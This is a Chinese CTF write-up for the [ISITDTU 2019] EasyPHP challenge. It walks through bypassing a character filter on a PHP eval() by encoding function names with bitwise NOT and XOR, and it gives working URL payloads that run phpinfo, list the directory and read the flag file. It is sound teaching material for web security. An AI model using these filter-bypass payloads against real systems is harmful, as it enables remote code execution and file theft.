当前位置: 首页 > news >正文

[ISITDTU 2019]EasyPHP

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

审计代码得知,我们需要满足两个if语句,先看第一个if语句:

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

我们要get传入_,并且php会对_进行正则匹配,过滤的内容很多,\x00(NULL)-\x20(Space)、数字0-9、字符`、"、$&等,有点像无字符数字rce,可以取反绕过,再看第二个if

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

strtolower()函数:PHP strtolower() 函数 | 菜鸟教程,就是将传入的_转换为小写,count_chars()函数:PHP count_chars() 函数 | 菜鸟教程,count_chars(string,mode)根据mode的值检查string中出现的字符串,在本题中mode=3,字符串,带有所有使用过的不同的字符,例如:

而strlen()函数则是返回字符串的长度,在本题中检查字符串的长度是否大于十三,如果字符串长度大于十三就die了。先使用取反来查看phpinfo():

<?php
print(urlencode(~'phpinfo'));
?>

输出结果为%8F%97%8F%96%91%99%90,get传值试一下

没有回显,换一种取反方式异或%FF,payload:/?_=((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))();

成功回显,查看一下禁用函数 

禁用了很多的函数,但是我们仍可以用scandir()、var_dump()、readfile()、print_r()等来查看目录,并读取flag,先print_r(scandir(.))输出当前目录下的内容

<?php
echo(urlencode(~'print_r'));
echo nl2br("\n");
echo(urlencode(~'scandir'));
echo nl2br("\n");
echo(urlencode(~'.'));
?>

输出结果为:%8F%8D%96%91%8B%A0%8D %8C%9C%9E%91%9B%96%8D %D1,构造payload:/?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));

有回显,但是被第二层if给拦截了,一定是我们的payload没有通过strlen(count_chars(strtolower($_), 0x3))的检查,测试一下

<?php
print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3)));
?>

测试长度为16确实超出了规定范围,这个时候我们可以使用异或的方法通过已存在的字符构造出来字符来代替三个其中的字符,这样长度就从16缩到了13,选择使用pscadi来代替ntr,python脚本

str = 'pscadi'
target = 'ntr'

for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a) ^ ord(b) ^ ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m, a, b, c))

运行出来很多结果,我们各取第一个即:n = c^d^i、t = s^c^d、r = p^c^a,替换后的

print_r:(%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)

scandir:(%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)

先检验一下,脚本:

<?php
print(urldecode('%8F%9E%96%9C%9C%A0%9E')^urldecode('%FF%9C%FF%9B%9B%FF%9C')^urldecode('%FF%8F%FF%96%8C%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF'));
print("\n");
print(urldecode('%8C%9C%9E%9C%9B%96%9E')^urldecode('%FF%FF%FF%9B%FF%FF%9C')^urldecode('%FF%FF%FF%96%FF%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF'));
?>

测试结果是正确的,直接就可以构造新的payload:/?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

回显成功,flag应该在n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt内,可以看到文件名太长了,而且还在数组的最后一位,很有可能会报错,直接readfile(end(scandir(.))),构造payload:((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

测试一下:

<?php
echo(urldecode('%8D%8D%8D%8D%8D%8D%9E%8D')^urldecode('%9A%8D%8D%8D%8D%8D%9B%8D')^urldecode('%9A%9A%9E%9B%99%96%96%9A')^urldecode('%FF%FF%FF%FF%FF%FF%FF%FF'));
echo nl2br("\n");
echo(urldecode('%8D%9E%8D')^urldecode('%8D%99%8D')^urldecode('%9A%96%9B')^urldecode('%FF%FF%FF'));
echo nl2br("\n");
echo(urldecode('%8D%9E%8D%9E%8D%8D%8D')^urldecode('%9A%9B%8D%99%8D%8D%9A')^urldecode('%9B%99%9E%96%9B%96%9A')^urldecode('%FF%FF%FF%FF%FF%FF%FF'));
echo nl2br("\n");
echo(urldecode('%D1')^urldecode('%FF'));
?>

测试正确,get传值就可以了 

相关文章:

  • leetcode刷题五十四
  • #图像处理
  • 【Linux_】常见指令(二)
  • C++类和对象中
  • C++知识总结(内附超详细知识框架图)
  • Windows取证——学习笔记
  • 『Android基础入门』ViewPager与Fragment结合实现多页面滑动
  • 【电子技术基础(精华版)】二极管的基础知识
  • 行为识别系统 (一) --- Yolov7行人检测实例化
  • 前端:收集15个非常实用的JS代码,值得收藏
  • Swin Transformer v2实战:使用Swin Transformer v2实现图像分类(一)
  • Mysql权限
  • 微信小程序开发实战(SM周期及WXS脚本)
  • 实训任务1:Linux基本操作
  • C++11新特性精讲(多线程除外)
  • 【399天】跃迁之路——程序员高效学习方法论探索系列(实验阶段156-2018.03.11)...
  • Angular 2 DI - IoC DI - 1
  • AWS实战 - 利用IAM对S3做访问控制
  • css系列之关于字体的事
  • gitlab-ci配置详解(一)
  • HTTP那些事
  • javascript 哈希表
  • magento2项目上线注意事项
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • Selenium实战教程系列(二)---元素定位
  • VUE es6技巧写法(持续更新中~~~)
  • Vue小说阅读器(仿追书神器)
  • Webpack 4x 之路 ( 四 )
  • 初识MongoDB分片
  • 服务器从安装到部署全过程(二)
  • 关于List、List?、ListObject的区别
  • 基于游标的分页接口实现
  • 前端性能优化——回流与重绘
  • 用mpvue开发微信小程序
  • gunicorn工作原理
  • LevelDB 入门 —— 全面了解 LevelDB 的功能特性
  • Unity3D - 异步加载游戏场景与异步加载游戏资源进度条 ...
  • (C++)栈的链式存储结构(出栈、入栈、判空、遍历、销毁)(数据结构与算法)
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (Matlab)基于蝙蝠算法实现电力系统经济调度
  • (第一天)包装对象、作用域、创建对象
  • (二)构建dubbo分布式平台-平台功能导图
  • (机器学习-深度学习快速入门)第三章机器学习-第二节:机器学习模型之线性回归
  • (经验分享)作为一名普通本科计算机专业学生,我大学四年到底走了多少弯路
  • (三) prometheus + grafana + alertmanager 配置Redis监控
  • (三)Honghu Cloud云架构一定时调度平台
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (转)原始图像数据和PDF中的图像数据
  • (转载)虚幻引擎3--【UnrealScript教程】章节一:20.location和rotation
  • *(长期更新)软考网络工程师学习笔记——Section 22 无线局域网
  • .h头文件 .lib动态链接库文件 .dll 动态链接库
  • .net core 实现redis分片_基于 Redis 的分布式任务调度框架 earth-frost
  • .NET Core、DNX、DNU、DNVM、MVC6学习资料
  • .Net Core/.Net6/.Net8 ,启动配置/Program.cs 配置
  • .NET Framework 和 .NET Core 在默认情况下垃圾回收(GC)机制的不同(局部变量部分)